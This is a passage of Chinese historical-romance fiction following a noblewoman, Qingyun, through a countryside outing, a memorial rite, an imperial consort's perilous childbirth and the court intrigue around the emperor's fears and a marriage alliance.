定下心神,接下来王宗赫都举止如常,和他们闲聊着,等时辰差不多时主动请辞, 和李审言回到对屋。 安安静静地跟在他身后, 在他抬手又要取书之际,李审言冷不丁道:"听闻状元郎在翰林院修前朝实录?” “嗯。” “不知可见过承明帝与皇后的起居注?” 承明帝与皇后正是表兄妹成婚,听闻皇后最初与他人定亲, 是承明帝强行拆散佳侣,把表妹夺来。 这句意有所指的话此刻提起,让王宗赫偏首,冷静和李审言对视, “不曾, 请李校尉指教。” 李审言笑, “在下了解也不深, 倒是指教不了。日后修书时自会修到,到时状元郎再仔细看看罢。” 说罢, 转身潇洒搁下酒壶,未解外袍,也没上榻,直接坐在圈椅上,对他道:“我不用睡榻,在椅子上也能坐睡一晚,状元郎自便。” 随后直接合上眼。 两个大男人同榻多少会不自在,王宗赫当然不会劝他,余光把人打量了一圈。 李审言作为齐国公第二子,从前一直籍籍无名,有些人甚至不知齐国公有两个儿子。 即使不打探,王宗赫也猜得出他肯定被大长公主压制多年。兴许是因为世子病弱,看不得一个庶子锋芒太过,兴许是其他原因。 大长公主那样强势,李审言长期生活在国公府,被打压忽视,不该养成这样不驯到近乎乖张的性情。要么此人天生反骨,要么被压制太过,有了反效果。 从他敢到皇帝面前自荐,王宗赫承认他胆子很大,也有几分武艺。当初共同查案的时候,还能看出也有些才智。 但只到这个地步,还不足以让王宗赫重视。 ** 清晨,夫妻俩起榻,从毛老伯口中得知另外两人天色朦胧时就离开了,不想惊扰他们,就没有特来请辞。 “克衡真是勤勉。”李秉真感慨。 这几天百官休沐,昨晚他邀请对方在这同游,被王宗赫以还有庶务没忙完的理由婉拒了。 “三哥在家里的兄弟中,确实也是最刻苦的那位。” 清蕴身在王家了解得很清楚,几位表兄的天赋其实相差没那么大,但王宗赫绝对是勤奋的那个,春夏秋冬都不曾懈怠。 正是因此,他和家里人相处的时间最少,对长辈都是敬重居多,鲜少有像普通人那样亲近的时候。 她回忆了下,好像都没看到过他流露什么特别的神情,即使王令娴失手杀人,他在震惊过后,也是很快找到了解决的方法。 沉稳不失圆滑,聪明又不会锋芒外露,所以外祖父说他天生适合入仕。 收拾一番,两人去了别庄附近的溪流。 昨夜暴雨引得溪水涨宽,钓都不用钓,走过去,鱼儿就窝在溪流附近的浅浅沟壑中,随手就能抓起来。 放生十余条,仍有小半桶。 藉香等人围石子搭灶准备烤鱼时,李秉真就带清蕴在附近闲走漫步。 晴光潋滟,山林间清露未晞,二人沿着溪水徐行百步,见前方溪水深处卧着一方奇石,大约是成年男子双拳大小,通体青玉色,样式奇特,宛如青色祥云,很是雅致。 山风穿林而来,裹挟着草木清香。 李秉真忽然说:“在这等我。” 不明所以地看他褪去鞋袜,等他走近那块奇石时,清蕴才明白过来,好笑道:“你是李元章吗?” 米芾米元章见奇石而拜,李秉真则是见了要取回收藏。清蕴不知他还有这喜好,也不顾衣摆会被溪水浸湿,上前几步去扶人。等上了岸才发现,他退下的鞋袜也同样浸湿了。 为着这一块石头,夫妻俩都湿了半身,回到搭好的石头灶边烤火。 此行相当于郊游踏青,白芷藏翠把能用到的东西几乎都带上了,还有国公府少见的馒头片,烤起来很香,不贪口腹之欲的李秉真都吃了好些,评价它比烤鱼更美味。 吃完烤鱼,让人把多余的东西收走,夫妻俩继续往山林里面逛。 暴雨过后是采蘑菇的好时候,由毛老伯带领,夫妻俩见识了一番如何在山里寻找蘑菇,辨别可食用品种,由此尝遍了鲜菌的煮、炸、炒吃法。 不得不说,比在国公府和酒楼里吃的还要鲜美许多。 连着三天,清蕴就在这种轻松惬意的吃吃喝喝中度过,不用思考太多,累了就铺毯子躺下,困了也可以原地扎帐篷休息。 且她感觉,李秉真的精力也比以往好了很多,游玩途中基本没有另外服药,还亲自去溪水了采了一篓石子,说是要回去后亲手打磨成棋子。 尽兴而归的时候,李秉真在马车上不经意问:“心情可好了许多?” 虽然清蕴之前就对这次游玩有所猜测,真正听他问出口,胸口还是暖了下,“前阵子来了月事,有些浮躁,已经好多了。” 李秉真笑着点头,没有多问。 ** 回归国公府没几天,就到了一个极其特殊的日子,威武大将军陆博行的忌日。 即陆清蕴的父亲。 李秉真原本不清楚,见白兰白芷准备香烛纸钱等物,询问一番才知道是什么日子。 白兰说,每年这时候清蕴都会去寺庙为双亲祭拜祈福,风雨不落。 “为何会是三份?” 白兰解释,“好像是给夫人的弟弟。” 清蕴曾有个弟弟,在父母离世后也染了天花早夭,李秉真是知道的,也感念于她的孝诚,决定主动陪清蕴前去。 两人来到云间寺,这儿有清蕴常年供奉的三座牌位,庙中僧弥早就认识清蕴,熟练地引他们去祭拜。 殿前的青铜香炉腾起袅袅青烟,清蕴跪在莲花蒲团上,左右设经幡,案前置长明灯,檀香混着纸灰的气息萦绕在经阁梁柱间。 李秉真注视着三座乌木牌位,最右侧那座未刻名讳的灵牌映着烛火,在青砖地上拖出细长的暗影。 这实在有些突兀,但他旋即想到,清蕴弟弟离世时年纪太小,供奉起来恐怕有不同讲究。 随同清蕴一起燃香、烧钱、祭拜,李秉真头次知道,清蕴原来也会背诵佛经,且熟练程度不亚于祖母。 见她双手合十,神情平静地闭目诵经,李秉真就在旁等待,直到结束后两人踏出供奉牌位之处才道:“夫人很敬重岳父。” 他觉得,清蕴祭拜时的神色其实不像儿女的缅怀,倒更像是寻常百姓祭奠圣人、仙师的敬仰。 清蕴嗯了声,“他击退外敌,保家卫国,我确实很敬重。” 同出身江苏的大将军,她怎么可能没听过。由于曾经深受倭寇侵扰,她更懂得这些为国征战的将士的珍贵之处。所以那天在听到李审言的事迹后,她意识到,不管他目的为何,他都切切实实为建朝百姓出过力,那些因李秉真而生出的成见顿时就淡了许多。 最敬佩的,毫无疑问还是陆博行,没有他,蒙古那边不会那么快败落,百姓恐怕还要多受许多苦楚。 可惜他这颗将星陨落得也快,迅疾到昙花一现,如今好些人已经不记得他的姓名。 两人阴差阳错有了“父女”缘分,清蕴便每年不落地来祭拜他们夫妻,第三个牌位,自然是为原本的陆清蕴所设。 她不知如果他们有在天之灵,会不会怨怪自己夺了陆清蕴的身份,但她除去最初担心被人识破以外,其余时候,并没有太多因这件事生出的愧疚。 陆清蕴并非她所害,她只是利用了摆在面前的机会让自己过得更好、更安稳。 重来一百次,她依旧会这么做。 唯一有点对不起的大约只有陆清蕴,因为自己到现在也没有名正言顺的理由去为她移墓,只能让她躺在无名孤坟中,躺在悬崖下。 看她说完那句话后就沉默,李秉真以为自己触及她的伤心事,内心感到抱歉,直到离开寺庙都没有再多问什么。 云间寺离得不远,当天就能来回,刚过堂前,就发现齐国公和李审言站在那儿说话。 父子俩都穿着绯色官服,想来下值不久。看神态,谈话不大顺利,齐国公像是在强忍怒气,见到长子和儿媳便缓和了脸色,“在外可用过饭了?” 李秉真应是,齐国公沉声道:“你母亲那儿刚刚派人传话,说娘娘下午发动了,她要连夜进宫。” 就发动?清蕴惊了下,算日子,李贵妃怀孕才七月多,这应当算早产了,怪不得公爹满脸愁容。 “母亲可是要我一起?”清蕴主动问。 “不曾。”齐国公缓声,语调下竟暗藏几分恳求,“但若是得空,就陪你母亲一道罢。” 女儿已是后宫嫔妃,纵然他作为父亲,这种时候也没法陪在身边。 他了解大长公主,遇到其他事都没问题,唯独儿女受难,她最是扛不住。女儿如今早产,定是险象环生,他没办法安慰,只能寄希望于儿媳。 清蕴当然不会拒绝,二话不说就简单收拾东西,到隔壁去寻了大长公主。 正是傍晚,大长公主取了令牌,正准备和女儿李琪瑛一同进宫。她神色还算镇定,没有过于慌乱,李琪瑛就红了眼眶,见到清蕴竟破天荒主动喊了声“大嫂”,泪水就要掉下来。 李秉真皱眉,训斥还没出口,大长公主先道:“不许哭!” 李琪瑛被训得一震,忙坐好,瘪瘪嘴,就听清蕴温声道:“有好些人就是七个多月生产,娘娘这情况也算不上很特殊,太医医术精湛,定能安然无恙。” “当真?”李琪瑛愣愣问。 “就是这样。”大长公主冷声,“总这么经不住事,再大惊小怪,就不用随我进宫了。” 李琪瑛噤声。 爹娘和离后,娘就不知为何对她严厉了许多,明明只有一墙之隔,都不许她去找爹爹。她只是担心姐姐,娘不安慰就罢了,还要凶她! 李琪瑛满腹委屈,清蕴则注意到大长公主一直藏在袖间的手,便知道她也是强装冷静。 “你先回去歇息罢。”清蕴对李秉真道,“今夜应该不会回,有消息我们会及时叫人传回来。” 大长公主也点头,她心急如焚,实在没心思交待什么,匆匆进了宫。 进承乾宫时,天色已暗,宫女内侍步伐匆匆,来不及对三人行全礼,即便手里没差事,也不敢做出悠闲模样。 大长公主进了产房,清蕴和李琪瑛则被留在外面。 本以为会听到长姐痛呼的声音,但不知是隔音太好还是如何,李琪瑛发现竟出乎意料得安静,只是隔段时间会有人端着血水倒出来。 她心中难安,随手抓了个人,“陛下呢?娘娘生产,陛下怎么没来?” “一个时辰前就派人去请了。”小公公低声道,“许是在忙。” 李琪瑛再不关心朝政,也知道这阵子建帝其实上朝都上得少,哪来的忙碌?她内心同情长姐,也为建帝的做法感到齿冷。 以前陛下对姐姐的那些爱护宠爱,都是做出来的样子不成? 她目光四转,感觉偌大的承乾宫变得陌生,身边竟唯有大嫂还能让她感到些许安心。 “嫂嫂。”李琪瑛出声。 清蕴一直在关注产房里进出的动静以及宫人神色,被她一唤,回头就瞧见小郡主红通通的鼻头。 应该是记着“不能哭”的教训,她努力抑制住情绪,“我能握你的手吗?” 清蕴一言不发地伸手,转瞬就被李琪瑛用力握住,像是要从她身上汲取力量。 忽然,李琪瑛看向她小腹,“嫂嫂不会很快也要生孩子吧?” 她知道女子生育艰辛,以前只是听说,今天却在姐姐这儿感到了真切。姐姐身为贵妃,周围有上百号人伺候,吃穿用度无不精心,还有太医随时候诊,都能出现这种状况,其他人可想而知。 大嫂和姐姐很像,看着都美丽却柔弱,恐怕也没那么容易。 “……应该不会。” 成婚前,清蕴告诉秦夫人自己有旧疾,子嗣艰难。这话半真半假,她没受过重伤,但确实不易有孕,这是大夫当初的诊断。 大夫说,她是天生如此,可以调理,但要和寻常女子一样会比较难。这对身体没影响,她就放平了心态,加上嫁给李秉真后,谁也不会在子嗣上催她,她就更不在意了。 李琪瑛松了口气,继续专心看向产房。 给李贵妃准备的产房位于承乾宫偏殿,这儿没有住嫔妃。但李贵妃执掌凤印,宫内大大小小的嫔妃都不敢在她生产时若无其事地待在住处,纷纷赶了过来,不敢高声喧哗,就在位上窃窃私语,猜测贵妃安危。 李琪瑛无意间扫过去几眼,发现竟有妃子在此刻妆扮得格外用心,当即脸色铁青,意外得没有当场爆发,而是暗暗记住嫔妃模样姓名,准备择机再让母亲出手教训。 又过小半时辰,建帝仪仗姗姗来迟。 他下了辇,对一众请安的人摆摆手,步履匆匆,倒真像是忙碌国事而来,“贵妃如何?” 女官被唤出来,回他话,“娘娘虽然发动得早,但太医说腹中皇子安好,如今产婆正在推腹助产。” “怎么没有声音?” 女官道:“还未到正式产子的时候,太医说不宜叫喊,免得后继无力。” 建帝虽有了三个儿女,但女子生产的事,他依旧不大清楚,点点头,就坐到一旁等待。 同样听到这些话的嫔妃们也跟着松了口气,至于内心是庆幸还是失望,就只有她们自己清楚。 陛下很少临幸后宫,宫中有孕者极少。原本她们还在庆幸贵妃也一直膝下无子,今天她要是生下一位皇子,不会被当场册封为后罢! 这些心思,建帝自然懒得琢磨,他内心其实有些复杂。 李贵妃是他的表妹,也伴了他十年,再怎么不喜外戚势力过大,他也不会希望她一尸两命。可当初太医也说过,这胎是皇子的可能极大。 朝堂本就有人在催他立太子,大皇子生母地位低微,如果贵妃诞下二皇子…… 如今齐国公势头稍降,若是立了贵妃之子,之前那些功夫岂不又化为灰烬。 想到曾经看过的那则预言,建帝眯起眼眸,各种情绪在胸口()交织。 第43章 窥视 建帝登基五年时, 钦天监有人夜观天象,观出荧惑守心之象。十年之内,天子驾崩,杨家江山将会易主。 推演一番, 篡臣贼子极有可能出自外戚。 建帝首先想到的就是柳、李两家。 柳文宗侄女和齐国公长女都为后宫嫔妃, 外戚之中, 也以他们两家势力最大, 一文一武,各占鳌头。 他想知道预言当中更详细的指向, 那人却无法给出答案,建帝左思右想,将那人秘密处死了。 当然不是因为不信这则预言,反而是因为太信了,不希望走漏风声。 此后, 他一直在观察两家动向, 看他们是否会在暗中积蓄势力。 经历过李家军一事,建帝认定齐国公府威胁更大,毕竟他们手握兵权, 自己的姑母大长公主也日益张狂,让建帝十分不喜。 多疑的他,甚至想到齐国公是否早有不轨之心,故意让长子装病, 于是也对李秉真百般试探。从太医口中得知李秉真身体确实羸弱后仍没有打消警惕, 多次试探这位表弟对仕途的想法。 最初, 他越是试探, 齐国公越不敢放权。建帝表面放任他和柳文宗制衡,实则更为信任柳家, 在蒙古再起异动时,甚至想过借此机会让李家失势,随后清算。 李审言当然也是对付李家的一把好刀,没有什么能比父子反目更精彩的戏码。可惜齐国公不知是隐藏太深,还是终于决定急流勇退,在这种当口辞去统领之位,让建帝许多布置当即成了一场空。 建帝没有彻底放松,但确实因此有了疑惑,只能着李审言和锦衣卫私底下观察齐国公动静。 他有些后悔杀那人杀得太早,现在都没人能够为他观测天象是否发生了变化。 想起十年内自己将会暴毙的预言,他时刻让太医调养身体,边到民间寻找延年益寿之法。 杨家皇室确实都短寿,最长寿的也不过活了四十来岁,建帝如今已三十多,不得不谨慎。 旁人眼中的寒食散,实际是经过改良的方子,里面增添了各式药材。此外,还有能人异士在暗中为他炼制长寿丹,传授他采阴补阳之法。 建帝这段时日感觉精气神前所未有得好,朝事都暂时放在了一边。 李贵妃提前生产,让他瞬间记起所有。 放在往常,建帝坐在这儿,李琪瑛早就小蜜蜂般围上去。此刻她记恨建帝对长姐的不上心,愤愤不满,格外冷淡的模样惹得建帝扫来一眼。 这一扫,就扫到了同在旁侧的清蕴。 周围有诸多宫妃,她依旧美得出众,让人心痒痒,和以往相比,还有了种不一样的娇艳。这阵子完全放纵欲望的建帝几乎瞬间就想起了曾经对她的念头,喉头紧了紧,转回目光。 夜色深重,明月高悬,女官让人奉上茶水点心,但基本没人享用。 李贵妃生产持续了七八个时辰,期间一度传出血流不止的消息,险象环生。众人听得心惊胆战,再困都不敢请辞,掐着大腿保持清醒。 建帝不用一直陪,他在主殿休息了一个时辰,醒来后得知小皇子还没生出来,且李贵妃极有可能难产而亡时,步伐瞬间快了起来,准备进产房一看。 依旧被人拦住了,宫人们跪地说着“产房不吉利”的话,请他避让。 一声瓷盏碎裂的脆响惊醒众人,产婆捧着血水盆踉跄而出,话音未落便被内殿尖叫打断。 产房内,大长公主执刀的手腕稳如弯弓,刀锋割开皮肉的闷响混着李贵妃的惨叫,惊飞了檐下栖鸦。 “发生了何事?”万云第一个高声质问。 有宫女脸色煞白地跑出门,跪地道:“殿下,大长公主殿下取刀剖开了娘娘的肚子。” 一阵倒抽冷气声,建帝也被骇得退了两步。 李琪瑛瞬间握紧清蕴的手,力道之大几乎把她手腕捏断,听到清蕴的痛嘶才回过神,“对不起,娘她……姐姐她……” 已是语无伦次了。 她松手想冲进产房,就在这时又有人冲出报喜,“陛下,大喜!小皇子平安!” 这一瞬间,清蕴没有转头,也仿佛听到了许多人内心的遗憾。 建帝只顿了一下,就笑起来,像是为此高兴。 唯有李琪瑛大声问,“贵妃娘娘呢?她如何了?!” 那人哆嗦了下,“娘娘失血过多,伤口又大,情况危急,太医正在全力救治。” 李琪瑛再忍不住,撞开人就冲了进去。 李贵妃状况确实牵动人心,但随着刚出生的小皇子被抱出门,所有人都不受控制地看了过去。 建帝象征性地抱了下刚出生的幼子,让奶娘宫女们好生照料他,没有做其他表示,而是转身对其他嫔妃道:“你们无事就都回去罢。” 从昨晚跟着熬到天亮,许多人确实支撑不住,不管心情如何,纷纷告退。 建帝再看向唯一留下的清蕴,“你就……” “臣妇在这等娘娘消息,待娘娘安好了就即刻出宫,不给宫中添麻烦。” “……也好。” 清蕴自然也是又累又困,她本来和李秉真说好,等晌午一起出宫回家。到这个时辰了,李贵妃仍旧没脱险,她心中有不妙预感。 又喝下两杯醒神茶,清蕴自己也掐了掐掌心以免犯困。 昨晚没带上白兰白芷,她连个可以说话转移注意力的人都没有,只能在心中默背佛经。 炎炎烈日逐渐攀升,承乾宫被日光笼罩,清蕴周身渐出一身薄汗。宫女请她到内殿等候,被拒绝了。 好在这回没再等待太久,佛经背诵至第三遍时,宫人报喜,道贵妃伤口已被缝起,止住血,暂无性命之忧了。 清蕴松了口气。 由于贵妃不便探望,她就继续等大长公主出门,再提出先离宫的请辞。 大长公主很干脆应下,感念儿媳一直在外陪着女儿,“你辛苦了,我和琪瑛应该会在这住几日,先回去歇着吧。” 清蕴惭愧,她本来受命来看望贵妃,陪伴大长公主,结果两件事都没做成,全程都在旁观。倒是这位殿下,极为果断地出手,救下了女儿和外孙。 清蕴真心敬服她。 被小公公一路引至东华门,李秉真果然还等在那儿。 他已经得知小皇子平安,只不清楚长姐状况,清蕴人还未至,就远远朝他点头。 李秉真领会其意,沉静地站在原地等待。 宫门前不好议论,上了马车,李秉真才开口:“娘娘虽然身体柔弱,但也健康,一直在宫中精心养胎,为何会早产?” 清蕴轻声道:“郡主昨晚也问过承乾宫女官,她们说娘娘在养胎期间连宫宴都很少去,基本只在承乾宫内走动,吃穿用度一应都提前查过,没有问题。昨日下午也没发生意外,是在院中慢走时突然发动的。” 这样看来,似乎的确是贵妃运气不好。 清蕴略作停顿,还是没把自身的感觉说出口。 当时建帝抱起小皇子时,她总觉得,那盯着小皇子的眼神,像在看件刚出土的陪葬玉器。 然而提起来过于毛骨悚然,她身处这个位置,也不该说这种话。 李秉真微叹,“希望娘娘一切安好。” 清蕴跟着嗯了声。 对话几句,她就因困顿靠在了李秉真怀中,在马车摇晃中浅浅歇了一觉。 刚进门,果然见齐国公等候在那儿,问她宫内情形。 清蕴一一答了,安抚齐国公,“父亲放心,虽有意外,但可谓有惊无险,娘娘与皇子均安好。母亲仍在宫中陪伴,更无需担忧。” 齐国公问,“陛下可有说什么?” “母子均安,陛下自是高兴。” 齐国公若有所思地点头,不过得知女儿和外孙都没事,到底是安心大过其他。 倒是清蕴,短时间奔波两地,连着十多个时辰未眠,眼下青黑明显。齐国公也不好意思问太多,忙让儿媳去歇息。 简单洗漱后,清蕴扎扎实实睡了三个时辰。一觉醒来,天又暗了,外屋传来说话声,她仔细辨别了下,是李秉真和张颖。 似乎是在讨教刀伤的事。 张颖的医术涉猎也挺广,连这些都有所了解。 她起身给自己倒了杯水喝,不多时,听到里屋动静的李秉真就入内,手中拿了一叠纸,都是他刚记录下的要点。 清蕴发现了,他对自身的病不怎么上心,涉及到亲近的家人还是会和寻常人一样。 “我好像听到张大夫声音。” “嗯,他刚离开。” 清蕴故作不知,“难得见你主动找他。” 李秉真淡笑了下,知道夫人的意思。但他现在还不准备把自己在试用那个法子的事告诉清蕴,一则这方法本就是冒险,并没有十足的把握,施针过程也比较骇人。一则是想给她惊喜。 他如实拿出记录的纸张,“张大夫医术高超,在我看来有些地方远胜太医,所以向他讨教剖腹伤如何休养复原。” 太医诊治的对象多为皇亲国戚、达官贵人,稍有不慎就容易被降罪。所以即便诊出问题,他们治疗起来也多用保守的法子,小小风寒治个十天半个月都属正常。 外人觉得太医院汇聚了世间医术顶尖之人,但李秉真从小见识过诸多大夫,心中自有分辨。 他们纵有十成医术,真正拿出来的可能只有三成,倒不如张颖,敢于担风险,只为治愈患者。 ** 李贵妃刚刚产子,朝堂暂时还没什么动静。 清蕴途中又进了一次宫,把李秉真记录下的休养之法和药方交给大长公主,用不用,当然是她这个母亲决定。 在这之后,清蕴再度清闲下来。 或许也不算清闲,毕竟府务、生意上的事不会停,遇到要事还是得她来拿主意。 唯有一件事,即使到郊外散了趟心,清蕴还是没有再次见陈危。 她还没有真正理好对陈危的想法,也不想再次情绪失控对他做出什么。 陈危不在意,她自己却是很不喜欢那种感觉。 这日傍晚,她坐在院子里新搭的葡萄架下,听管家禀报更换府里仆役的事。 周管家道:“依夫人的吩咐,把厨房、马房、洒扫的人都遣散了一半,昨儿下午刚到人市去挑选了十人,如今正在调()教着,等他们学好了规矩就立马用上。” “嗯,能耐是其次,谨言慎行最重要,别叫我再在府里听到风言风语。” 如果不是从白兰口中听说,她还不知府里一直有人在私下猜测齐国公和大长公主和离的原因,有好事者把这件事和李审言长期搬回国公府居住牵扯到一起。说齐国公有意抬举二子,大长公主一气之下和离了。 还有些人大概是没意识到府里风气流转,见她这个世子夫人执掌中馈,以为和以往一样,给李审言那儿送食送水送物时要么不及时,要么敷衍。 阿宽告到她面前,她思索后,决定罚一顿,再把这些人换了。 当然不能只换大长公主在时府里进的那些人,传到婆婆耳中,还以为自己对她有意见,干脆就各换一批。 周管家连连应是,“夫人放心,这自然是最紧要的。我昨儿也带人去二公子那儿看了圈,把该补的都补上了,今后绝不会有人故意怠慢。” 清蕴道:“天儿越发炎热,太夫人那儿要尤其注意及时换冰。除了各院,下人的屋子里也可每两日发块冰,不然热出病来也不妥。” 周管家继续应声,夸赞夫人细致。 由于是在屋外,商量的又是府里事务,两人声音不大不小,没有特意收敛,被在暗处的李审言听得清清楚楚。 听到周管家夸清蕴“友爱体贴”时,他飞快扬了下眉。这位大嫂不是对他“友爱”,恐怕只是为李秉真、为她自己挣名声罢,也在祖母和父亲那儿做做样子。 斜倚在树干上的李审言嘴里叼了条草叶,眼睛紧盯着齐国公书房,偶尔扫一眼月舍外的院子。 两处临得近,才叫身居高处的他能够一览无余。 李贵妃产子后,建帝对李审言下了密令,让他日夜盯紧齐国公,看他会和哪些人来往。李审言知道除去自己,陛下定然还对锦衣卫下了同样的命令,说不定锦衣卫盯的就是他。他便做出出门当差的样子,实则藏身于暗处,盯着齐国公。 每当齐国公孤身待在书房或是在府中会友时,盯得尤其多。 但密辛没发现,倒是时常看见在院子里的陆清蕴。 应当是天气热,即使置了冰块,她也不愿总闷在屋子里,每过了晌午,就爱在葡萄架下乘凉。 有时看书,有时弹琴,有时和人谈心聊天,有时会像今天这样处理府务。 不知不觉间,李审言都快对她的作息和喜好了如指掌。 和在外时长袖善舞的模样不同,陆清蕴若是在院中独处,根本不爱笑,也不像对外展现出的那样温柔。李审言曾看到一只意外跌落枝头的小雀坠在她面前,被藤条缠住爪子,她看了半晌,一点帮忙的意思都没有,还是白芷去了之后,才帮小雀解放。 李审言便知道,之前自己的感觉没错,她的那些温婉果然是表象。 转过这些念头,李审言又看了会儿在书房中和老友相会的齐国公,从口型辨别出两人只是在简单叙旧,颇感无趣地移开目光,重新回到葡萄架。 李秉真不知何时回来了,夫妻俩屏退左右,正同坐在葡萄架下纳凉。 不知说到什么,他看见陆清蕴摘下一颗尚显青涩的葡萄,用水冲洗,面含盈盈笑意喂去。 李秉真笑看她一眼,丝毫不觉对方促狭,反而配合地仰首。 分明是光线晦暗的黄昏,李审言却仍将那颗葡萄上的晶莹水珠,以及那纤细白皙的手指看得清清楚楚。 看着那截指尖随着青葡萄一同被缓缓纳入口中,再收回时,指尖豆蔻色也仿佛愈发鲜亮。 李审言喉结微动,收回了视线。 第44章 百日宴 云阳长公主办的赏荷宴没白费心思, 不仅为女儿找到佳婿,参宴的其他年轻人中也有互相看定眼的。 王宗赫没有风花雪月的心思,架不住他家世、才华都太出色,考中状元后本来就是京中女婿的热门人选, 赏荷宴上被许多贵女亲眼见过后, 上门说亲的人更是络绎不绝。 郑氏挑花了眼。 长子是王家长孙, 亲事当初是由婆母秦夫人拍板选的, 为一个六品京官之女。家世不算雄厚,只能说蕙质兰心, 十分懂礼。 长子宗晖被派到外省出任知县,一去就是几年,至今不知何时有机会归京,儿媳都毫无怨言地随任。从长子寄回的信中,郑氏知道儿媳将他照顾得很好, 还添了个小孙女, 便也慢慢放下了成见。 如今到次子宗赫,郑氏暗暗想,他可考中了状元, 挑个家世出众些的也不为过。 挑来选去,发现柳家竟也主动抛来结亲之意,想把柳家五姑娘嫁来。郑氏略有心动,却踟蹰。 早先给长子定亲时, 婆婆提醒过她, 不要只看家世挑人, 可以高嫁, 但切忌高娶,尤其是京中有名的那几家。一则是出身太高难以管教, 一则是公公王贞已官居礼部尚书,挑高官之家结亲,放在有心人眼里,难免有结党()营私之嫌。 柳阁老贵为首辅,柳五姑娘又是他最疼爱的孙女。柳家看上宗赫,不知有没有这位阁老授意? 她可不敢拿丈夫、儿子的仕途开玩笑。 郑氏先问了丈夫。 王维章皱眉,却不像以往那样断然拒绝,“问问父亲的意思。” 家宴上,郑氏便趁着气氛正好,不经意提起这事。 王贞抚了抚须,看向孙儿,“克衡觉得呢?” 秦夫人也含笑,“那日在宴会上,三郎应该和柳家姑娘见过面了罢?” 在长辈们关切非常的目光中,王宗赫淡道:“记不大清了。” “我怎么听人说,你和柳姑娘相谈甚欢?”郑氏狐疑地看着儿子过于平静的面容。 知子莫若母,虽然她和儿子算不得十分亲近,但说起自己的亲事也是这个死人样,该不会还惦记着陆清蕴吧? “我和每人都谈得很欢。” 王令嘉噗嗤一声笑出来,被长辈们看来时,忙收敛神色。 她不知道,三哥还会说这种笑话。 王维章皱眉,郑氏瞪眼,上首的王贞和秦夫人倒笑得宽和。 “你如今是该考虑终身大事了。”祖父王贞道。 如果不是王宗赫当初以要专心备考的理由拒绝说亲,家里不会拖到这时候,毕竟他的大哥就是在及冠前定下亲事。 当然,王贞后来明白这是孙儿想科举考得功名后有底气迎娶清蕴的借口,可惜世事未能如其所愿。如今他主动开口,就是不希望孙儿一直沉浸在往昔。 王宗赫沉默了阵,“柳姑娘确实不错。” 郑氏大喜,观公婆神色,就知道他们并不反对,当即有了想法。 家宴上三言两语定下主意,接下来如果柳家那边态度如初,亲事应当会就此定下了。 王令娴从旁听着,暗中比对王宗赫和母亲的脸色,觉得与其说是兄长娶妻,不如说是母亲。 好在因割腕那件事,家里现在都不敢催着她定亲结婚,她乐得自在,也不想引起他们注意。 ** 李贵妃这胎生得艰难,小皇子早产体弱,她自己也因剖腹险些丢了性命,休养一两个月才勉强恢复精力。 两位主角都不方便,小皇子的满月就没有操办,而是等到百日再摆宴。 按李贵妃意思,只要请父母亲、弟弟弟媳还有妹妹即可。大长公主想热闹些,给女儿添喜气,提议请往日和她要好的一些闺友,时而会碰见的王家姐妹也没落下。 估摸着大约有二十余人,李贵妃着人去请示建帝,得他应允后再一一请人。 百日宴这天正好初十,是建帝新定下的升朝时间。 如今一个月升朝五次,分别为五、十、十五、二十、二十五这几日,其余时候若有要事,则由内阁单独觐见,向建帝呈禀。 刚解决完蒙古和谈一事,暂时也没什么天灾人祸,官员们禀报的都是些日常事务,建帝听得倍感无趣,留下一句“由内阁决断”,就结束了还没超过两刻钟的朝会。 百官面面相对,都看到彼此眼中无奈。 陛下越发懒怠了,本来一月上朝二十日,现在变成一月五日,每次都不到半个时辰,长此以往,恐怕比之先帝还不如。 至少先帝装模作样的时辰可比这位久。 提起来,他就以养身为由头。谁敢拦着陛下休养呢,龙体有恙,他们可无法担责。 本以为是中兴之主,谁成想…… 官员们慢慢往太和殿外走,王维章则有意停下,大理寺其余官员看出他的意图,接连向上峰告退,先行离开。 等儿子王宗赫走到身前,他低声问:“你为何也来上朝?” 王宗赫在翰林院历练了两个月就被调任吏部,任主事一职,按品级并没有上朝的资格。 “柳阁老令我随行旁听朝会。”王宗赫话落,柳文宗已走到父子身边。 “阁老。”父子俩同时敬称。 “有能者不该拘泥于寻常规矩。”柳文宗笑道,“克衡刚来吏部,就为我解决了官员考校的大难题,是可造之材,我便特意带他旁听朝会。廷尉可是觉得不妥?” “阁老抬爱,只是他年纪尚轻,又初到吏部,且……此举恐怕容易为阁老引来非议。”实际上,王维章担心的是儿子风头太过,引来针对,但场面话还是要说的。 柳文宗哈哈笑两声,身边吏部两位侍郎就道:“廷尉多虑了,阁老爱才众所周知,谁会非议?若是其他人有能耐,我等同样会破格重用。” 柳文宗颔首,“你担心的是两家结亲之事会引来议论罢?举贤不避亲,我看重克衡,与他身份无关,不管他是不是即将成为我的孙女婿,都会如此。如今陛下忙于休养,朝中有能之士越多,越能为陛下分忧。” 此前奉皇命查案时,王宗赫查到吏部官员身上,且明知此人颇得柳文宗信任,依旧把“真相”报了上去。但在事后,他又私下找到柳文宗,向他“请罪”。 柳文宗当时就有些欣赏这个年轻人,比其祖父王贞多了分秉直,又比其父亲王维章添了分圆滑,才华手段样样不缺,简直是天生当官的好料子。 他一时意动,才有了后来两家说亲的事。 如今王宗赫即将成为他的孙女婿,他自然大力培养,器重程度几乎要比过亲孙子。 柳阁老这么说,王维章自然不好再有异议,只能把话按在心中,准备等回家后再告诫儿子,让他务必谨言慎行。 ** 承乾宫,众人在等待建帝驾临开宴,等到的却是他国事繁忙,要晚些时候再来的消息。 他暂时不来,许多人心中其实松了口气,在李贵妃面前不敢显露。 李贵妃神色淡然,“那我们就先开宴罢。” 由于小皇子羸弱,百日宴精简许多,奶娘嬷嬷们抱着他走了一圈,冠衣、送福等仪式过后,就把人抱回了住处。 众人边享宴、边赏戏,在座的都是女子,又都是李贵妃的熟人,尽可以随意聊天,让她当真有种回到闺中时光的感觉,一时晃神,感觉到了母亲的良苦用心,不由触动。 她自幼受祖母训导,和母亲算不上亲近,对母亲的一些做法,也时常觉得不够“守规矩”,多次劝导,母女俩总不欢而散。 李贵妃知道自己的性子不讨喜,也清楚一双弟妹在父母那儿的分量,从没指望过他们能多分点心思给自己。 但没想到,正是从来没和她好好说过话的母亲,一手把她拉出了鬼门关。 “今日大喜,娘娘可不宜落泪。”身边温柔的声音提醒,让李贵妃及时收住情绪,看向弟媳,“嗯。” 顿了顿,换了话题,“要多谢你和少思为我收集的方子,还有那些香,让我这阵子睡得好多了。” “平时里都是娘娘照拂我们,难得有为您出力的时候。”清蕴道,“是应该的。” 李贵妃笑,“我听说如今少思身体好多了,还能够去郊外庄子散心跑马,可是真的?” 